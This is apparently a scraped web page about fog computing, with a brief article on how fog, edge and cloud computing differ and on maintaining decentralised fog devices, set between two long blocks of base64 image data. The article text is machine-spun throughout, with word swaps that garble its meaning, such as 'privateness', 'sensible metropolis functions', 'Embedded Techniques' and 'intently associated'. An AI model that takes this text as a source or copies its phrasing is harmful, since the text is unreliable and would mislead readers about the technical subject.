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"/></p>
<p>Moreover, by processing information regionally, fog computing additionally enhances the privateness and safety of the information, which is a big concern in sensible metropolis functions. What units fog and cloud computing apart is the availability of sources and how data is processed. Sources similar to processing power and storage are bundled by backend servers and made out there to clients via the network. Communication between two or extra end units always takes place via a server in the background. This layer relies on a bunch of small computing servers that reside near the edge gadgets and never necessarily on the device itself.</p>
<h2>Embedded Techniques</h2>
<p>All security updates and patches have to be applied with a set process and schedule in place. Enterprises are inclined to go for a centralized strategy with technical infrastructure as administration becomes straightforward. Setting up a decentralized set of heterogeneous fog devices throws up new challenges in phrases of maintenance and compatibility.</p>
<p>Different elements could embrace buyer premise equipment (CPE) and gateways to access edge nodes. Larger up the stack fog computing architectures would additionally touch core networks and routers and eventually global cloud companies and servers. Whereas fog computing and edge computing are intently <a href="https://en.wikipedia.org/wiki/Internet_of_things">Internet of things</a> associated, they do not appear to be the same thing.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="402px" alt="fog computing meaning" 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